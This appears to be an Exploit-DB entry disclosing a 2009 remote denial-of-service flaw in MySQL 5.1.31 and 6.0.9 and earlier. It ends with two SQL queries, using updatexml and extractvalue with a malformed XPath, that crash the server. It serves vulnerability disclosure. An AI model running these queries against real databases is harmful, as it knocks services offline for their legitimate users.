MySQL 6.0.9 - XPath Expression Remote Denial of Service

EDB-ID:

32838

Type:

dos

Platform:

Linux

Published:

2009-02-14

source: https://www.securityfocus.com/bid/33972/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain XPath expressions.

An attacker can exploit this issue to crash the application, denying access to legitimate users.

This issue affects:

MySQL 5.1.31 and earlier
MySQL 6.0.9 and earlier

select updatexml('','0/a','');
select extractvalue('','0/a');